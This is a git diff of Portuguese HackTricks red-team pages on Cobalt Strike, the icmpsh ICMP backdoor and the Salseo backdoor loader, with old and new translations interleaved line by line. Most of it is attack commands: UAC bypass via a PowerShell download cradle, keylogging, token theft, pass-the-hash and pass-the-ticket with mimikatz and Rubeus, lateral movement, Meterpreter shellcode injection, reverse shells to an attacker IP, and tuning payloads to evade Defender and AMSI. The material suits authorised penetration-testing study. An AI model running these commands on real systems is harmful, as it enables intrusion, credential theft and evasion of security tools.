|
### Listeners
|
||||||
|
|
||||||
### Ouvintes C2
|
### C2 Listeners
|
||||||
|
|
||||||
`Cobalt Strike -> Listeners -> Add/Edit` e você pode selecionar onde ouvir, qual tipo de beacon usar (http, dns, smb...) e mais.
|
`Cobalt Strike -> Listeners -> Add/Edit` então você pode selecionar onde escutar, que tipo de beacon usar (http, dns, smb...) e mais.
|
||||||
|
|
||||||
### Ouvintes Peer2Peer
|
### Peer2Peer Listeners
|
||||||
|
|
||||||
Os beacons desses ouvintes não precisam se comunicar diretamente com o C2, eles podem se comunicar com ele por meio de outros beacons.
|
Os beacons desses listeners não precisam se comunicar diretamente com o C2, eles podem se comunicar através de outros beacons.
|
||||||
|
|
||||||
`Cobalt Strike -> Listeners -> Add/Edit` e você precisa selecionar os beacons TCP ou SMB
|
`Cobalt Strike -> Listeners -> Add/Edit` então você precisa selecionar os beacons TCP ou SMB
|
||||||
|
|
||||||
* O **beacon TCP definirá um ouvinte na porta selecionada**. Para se conectar a um beacon TCP, use o comando `connect <ip> <port>` de outro beacon
|
* O **beacon TCP irá configurar um listener na porta selecionada**. Para conectar a um beacon TCP use o comando `connect <ip> <port>` de outro beacon
|
||||||
* O **beacon smb ouvirá em um nome de pipe com o nome selecionado**. Para se conectar a um beacon SMB, você precisa usar o comando `link [target] [pipe]`.
|
* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para conectar a um beacon SMB você precisa usar o comando `link [target] [pipe]`.
|
||||||
|
|
||||||
### Gerar e hospedar payloads
|
### Generate & Host payloads
|
||||||
|
|
||||||
#### Gerar payloads em arquivos
|
#### Generate payloads in files
|
||||||
|
|
||||||
`Attacks -> Packages ->` 
|
`Attacks -> Packages ->` 
|
||||||
|
|
||||||
* **`HTMLApplication`** para arquivos HTA
|
* **`HTMLApplication`** para arquivos HTA
|
||||||
* **`MS Office Macro`** para um documento do Office com uma macro
|
* **`MS Office Macro`** para um documento do office com uma macro
|
||||||
* **`Windows Executable`** para um .exe, .dll ou serviço .exe
|
* **`Windows Executable`** para um .exe, .dll ou serviço .exe
|
||||||
* **`Windows Executable (S)`** para um **stageless** .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs)
|
* **`Windows Executable (S)`** para um **stageless** .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs)
|
||||||
|
|
||||||
#### Gerar e hospedar payloads
|
#### Generate & Host payloads
|
||||||
|
|
||||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Isso gerará um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python
|
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Isso irá gerar um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python
|
||||||
|
|
||||||
#### Hospedar payloads
|
#### Host Payloads
|
||||||
|
|
||||||
Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir para `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web.
|
Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir em `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web.
|
||||||
|
|
||||||
### Opções do Beacon
|
### Beacon Options
|
||||||
|
|
||||||
<pre class="language-bash"><code class="lang-bash"># Executar binário .NET local
|
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
|
||||||
execute-assembly </path/to/executable.exe>
|
execute-assembly </path/to/executable.exe>
|
||||||
|
|
||||||
# Capturas de tela
|
# Screenshots
|
||||||
printscreen # Tirar uma única captura de tela via método PrintScr
|
printscreen # Tire uma única captura de tela via método PrintScr
|
||||||
screenshot # Tirar uma única captura de tela
|
screenshot # Tire uma única captura de tela
|
||||||
screenwatch # Tirar capturas de tela periódicas da área de trabalho
|
screenwatch # Tire capturas de tela periódicas da área de trabalho
|
||||||
## Vá para View -> Screenshots para vê-las
|
## Vá para View -> Screenshots para vê-las
|
||||||
|
|
||||||
# keylogger
|
# keylogger
|
||||||
|
@ -50,7 +50,7 @@ keylogger [pid] [x86|x64]
|
||||||
## View > Keystrokes para ver as teclas pressionadas
|
## View > Keystrokes para ver as teclas pressionadas
|
||||||
|
|
||||||
# portscan
|
# portscan
|
||||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injetar ação de portscan dentro de outro processo
|
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injete a ação de portscan dentro de outro processo
|
||||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||||
|
|
||||||
# Powershell
|
# Powershell
|
||||||
|
@ -58,12 +58,12 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||||
powershell-import C:\path\to\PowerView.ps1
|
powershell-import C:\path\to\PowerView.ps1
|
||||||
powershell <apenas escreva o comando powershell aqui>
|
powershell <apenas escreva o comando powershell aqui>
|
||||||
|
|
||||||
# Impersonação de usuário
|
# User impersonation
|
||||||
## Geração de token com credenciais
|
## Geração de token com credenciais
|
||||||
make_token [DOMAIN\user] [password] #Criar token para se passar por um usuário na rede
|
make_token [DOMAIN\user] [password] #Crie um token para se passar por um usuário na rede
|
||||||
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
|
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
|
||||||
rev2self # Pare de usar o token gerado com make_token
|
rev2self # Pare de usar o token gerado com make_token
|
||||||
## O uso de make_token gera o evento 4624: Uma conta foi conectada com êxito. Este evento é muito comum em um domínio do Windows, mas pode ser reduzido filtrando o tipo de logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é o tipo 9.
|
## O uso de make_token gera o evento 4624: Uma conta foi logada com sucesso. Este evento é muito comum em um domínio Windows, mas pode ser restringido filtrando pelo Tipo de Logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é do tipo 9.
|
||||||
|
|
||||||
# UAC Bypass
|
# UAC Bypass
|
||||||
elevate svc-exe <listener>
|
elevate svc-exe <listener>
|
||||||
|
@ -73,42 +73,134 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||||
## Roubar token de pid
|
## Roubar token de pid
|
||||||
## Como make_token, mas roubando o token de um processo
|
## Como make_token, mas roubando o token de um processo
|
||||||
steal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais
|
steal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais
|
||||||
## A partir da documentação da API, sabemos que esse tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
|
## Da documentação da API sabemos que este tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
|
||||||
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
|
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
|
||||||
rev2self # Pare de usar o token de steal_token
|
rev2self # Pare de usar o token de steal_token
|
||||||
|
|
||||||
## Iniciar processo com novas credenciais
|
## Lançar processo com novas credenciais
|
||||||
spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
|
spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
|
||||||
## Como make_token, isso gerará o evento do Windows 4624: Uma conta foi conectada com êxito, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário se passando (TargetOutboundUserName).
|
## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).
|
||||||
|
|
||||||
## Injetar em processo
|
## Injete no processo
|
||||||
inject [pid] [x64|x86] [listener]
|
inject [pid] [x64|x86] [listener]
|
||||||
## Do ponto de vista do OpSec: Não execute injeção entre plataformas, a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
|
## Do ponto de vista de OpSec: Não realize injeção entre plataformas a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
|
||||||
|
|
||||||
## Passar o hash
|
## Pass the hash
|
||||||
## Este processo de modificação requer a correção da memória LSASS, que é uma ação de alto risco, requer privilégios de administrador local e não é muito viável se o Protected Process Light (PPL) estiver habilitado.
|
## Este processo de modificação requer patching da memória do LSASS, o que é uma ação de alto risco, requer privilégios de administrador local e não é tão viável se o Protected Process Light (PPL) estiver habilitado.
|
||||||
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
|
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
|
||||||
pth [DOMAIN\user] [NTLM hash]
|
pth [DOMAIN\user] [NTLM hash]
|
||||||
|
|
||||||
## Passar o hash através do mimikatz
|
## Pass the hash através do mimikatz
|
||||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||||
## Sem /run, mimikatz gera um cmd.exe,
|
## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está tranquilo)
|
||||||
|
steal_token <pid> #Roubar token do processo criado pelo mimikatz
|
||||||
|
|
||||||
|
## Pass the ticket
|
||||||
|
## Solicitar um ticket
|
||||||
|
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||||
|
## Crie uma nova sessão de logon para usar com o novo ticket (para não sobrescrever o comprometido)
|
||||||
|
make_token <domain>\<username> DummyPass
|
||||||
|
## Escreva o ticket na máquina do atacante a partir de uma sessão poweshell & carregue-o
|
||||||
|
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||||||
|
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
|
||||||
|
|
||||||
|
## Pass the ticket do SYSTEM
|
||||||
|
## Gere um novo processo com o ticket
|
||||||
|
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
|
||||||
|
## Roube o token daquele processo
|
||||||
|
steal_token <pid>
|
||||||
|
|
||||||
|
## Extrair ticket + Pass the ticket
|
||||||
|
### Listar tickets
|
||||||
|
execute-assembly C:\path\Rubeus.exe triage
|
||||||
|
### Dump insteresting ticket by luid
|
||||||
|
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||||
|
### Crie uma nova sessão de logon, anote luid e processid
|
||||||
|
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
|
||||||
|
### Insira o ticket na sessão de logon gerada
|
||||||
|
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
|
||||||
|
### Finalmente, roube o token daquele novo processo
|
||||||
|
steal_token <pid>
|
||||||
|
|
||||||
|
# Lateral Movement
|
||||||
|
## Se um token foi criado, ele será usado
|
||||||
|
jump [method] [target] [listener]
|
||||||
|
## Métodos:
|
||||||
|
## psexec x86 Use um serviço para executar um artefato Service EXE
|
||||||
|
## psexec64 x64 Use um serviço para executar um artefato Service EXE
|
||||||
|
## psexec_psh x86 Use um serviço para executar uma linha de comando PowerShell
|
||||||
|
## winrm x86 Execute um script PowerShell via WinRM
|
||||||
|
## winrm64 x64 Execute um script PowerShell via WinRM
|
||||||
|
|
||||||
|
remote-exec [method] [target] [command]
|
||||||
|
## Métodos:
|
||||||
|
<strong>## psexec Execução remota via Service Control Manager
|
||||||
|
</strong>## winrm Execução remota via WinRM (PowerShell)
|
||||||
|
## wmi Execução remota via WMI
|
||||||
|
|
||||||
|
## Para executar um beacon com wmi (não está no comando jump) basta fazer upload do beacon e executá-lo
|
||||||
|
beacon> upload C:\Payloads\beacon-smb.exe
|
||||||
|
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||||
|
|
||||||
|
|
||||||
|
# Pass session to Metasploit - Through listener
|
||||||
|
## No host do metaploit
|
||||||
|
msf6 > use exploit/multi/handler
|
||||||
|
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
|
||||||
|
msf6 exploit(multi/handler) > set LHOST eth0
|
||||||
|
msf6 exploit(multi/handler) > set LPORT 8080
|
||||||
|
msf6 exploit(multi/handler) > exploit -j
|
||||||
|
|
||||||
|
## No cobalt: Listeners > Add e defina o Payload para Foreign HTTP. Defina o Host para 10.10.5.120, a Porta para 8080 e clique em Salvar.
|
||||||
|
beacon> spawn metasploit
|
||||||
|
## Você só pode gerar sessões Meterpreter x86 com o listener estrangeiro.
|
||||||
|
|
||||||
|
# Pass session to Metasploit - Through shellcode injection
|
||||||
|
## No host do metasploit
|
||||||
|
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||||
|
## Execute msfvenom e prepare o listener multi/handler
|
||||||
|
|
||||||
|
## Copie o arquivo bin para o host do cobalt strike
|
||||||
|
ps
|
||||||
|
shinject <pid> x64 C:\Payloads\msf.bin #Injete o shellcode do metasploit em um processo x64
|
||||||
|
|
||||||
|
# Pass metasploit session to cobalt strike
|
||||||
|
## Gere shellcode Beacon stageless, vá para Attacks > Packages > Windows Executable (S), selecione o listener desejado, selecione Raw como o tipo de saída e selecione Use x64 payload.
|
||||||
|
## Use post/windows/manage/shellcode_inject no metasploit para injetar o shellcode gerado do cobalt strike
|
||||||
|
|
||||||
|
|
||||||
|
# Pivoting
|
||||||
|
## Abra um proxy socks no teamserver
|
||||||
|
beacon> socks 1080
|
||||||
|
|
||||||
|
# SSH connection
|
||||||
|
beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||||
|
|
||||||
|
## Avoiding AVs
|
||||||
|
|
||||||
|
### Artifact Kit
|
||||||
|
|
||||||
|
Geralmente em `/opt/cobaltstrike/artifact-kit` você pode encontrar o código e templates pré-compilados (em `/src-common`) dos payloads que o cobalt strike irá usar para gerar os beacons binários.
|
||||||
|
|
||||||
|
Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com a backdoor gerada (ou apenas com o template compilado) você pode descobrir o que está fazendo o defender disparar. Geralmente é uma string. Portanto, você pode apenas modificar o código que está gerando a backdoor para que essa string não apareça no binário final.
|
||||||
|
|
||||||
|
Após modificar o código, basta executar `./build.sh` a partir do mesmo diretório e copiar a pasta `dist-pipe/` para o cliente Windows em `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||||
```
|
```
|
||||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||||
```
|
```
|
||||||
Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
|
Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que estão carregados.
|
||||||
|
|
||||||
### Kit de Recursos
|
### Kit de Recursos
|
||||||
|
|
||||||
A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
|
A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
|
||||||
|
|
||||||
Usando o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não está gostando e modificá-lo:
|
Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não gosta e modificá-lo:
|
||||||
```
|
```
|
||||||
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
|
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
|
||||||
```
|
```
|
||||||
Modificar as linhas detectadas pode gerar um modelo que não será detectado.
|
Modificando as linhas detectadas, pode-se gerar um template que não será pego.
|
||||||
|
|
||||||
Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
|
Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que foram carregados.
|
||||||
```bash
|
```bash
|
||||||
cd C:\Tools\neo4j\bin
|
cd C:\Tools\neo4j\bin
|
||||||
neo4j.bat console
|
neo4j.bat console
|
||||||
|
|
29
c2/icmpsh.md
29
c2/icmpsh.md
|
@ -1,25 +1,26 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Baixe o backdoor em: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
|
||||||
|
|
||||||
# Lado do Cliente
|
Baixe o backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
# Lado do cliente
|
||||||
|
|
||||||
Execute o script: **run.sh**
|
Execute o script: **run.sh**
|
||||||
|
|
||||||
**Se você receber algum erro, tente alterar as linhas:**
|
**Se você receber algum erro, tente mudar as linhas:**
|
||||||
```bash
|
```bash
|
||||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||||
|
@ -31,21 +32,21 @@ read IP
|
||||||
```
|
```
|
||||||
# **Lado da Vítima**
|
# **Lado da Vítima**
|
||||||
|
|
||||||
Faça o upload do **icmpsh.exe** para a vítima e execute:
|
Faça o upload de **icmpsh.exe** para a vítima e execute:
|
||||||
```bash
|
```bash
|
||||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
22
c2/salseo.md
22
c2/salseo.md
|
@ -1,16 +1,16 @@
|
||||||
# Salseo
|
# Salseo
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -23,7 +23,7 @@ Compile esses projetos para a arquitetura da máquina Windows onde você vai us
|
||||||
|
|
||||||
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
|
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
|
||||||
|
|
||||||
(\*\*Se você não conseguir encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
|
(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (839).png>)
|
![](<../.gitbook/assets/image (839).png>)
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ Então, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs ap
|
||||||
|
|
||||||
## Prepare o Backdoor
|
## Prepare o Backdoor
|
||||||
|
|
||||||
Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
|
Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
|
||||||
|
|
||||||
### **Python**
|
### **Python**
|
||||||
```
|
```
|
||||||
|
@ -47,11 +47,11 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
```
|
```
|
||||||
Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
|
Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
|
||||||
|
|
||||||
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
|
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum antivírus...**
|
||||||
|
|
||||||
## **Executar o backdoor**
|
## **Executar o backdoor**
|
||||||
|
|
||||||
### **Obtendo um shell reverso TCP (baixando dll codificada através de HTTP)**
|
### **Obter um shell reverso TCP (baixando dll codificada através de HTTP)**
|
||||||
|
|
||||||
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
|
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
|
||||||
```
|
```
|
||||||
|
@ -114,7 +114,7 @@ Apenas **saia** do Visual Studio
|
||||||
|
|
||||||
Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat**
|
Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat**
|
||||||
|
|
||||||
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
|
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) e pressione **Aplicar**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (882).png>)
|
![](<../.gitbook/assets/image (882).png>)
|
||||||
|
|
||||||
|
@ -178,7 +178,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
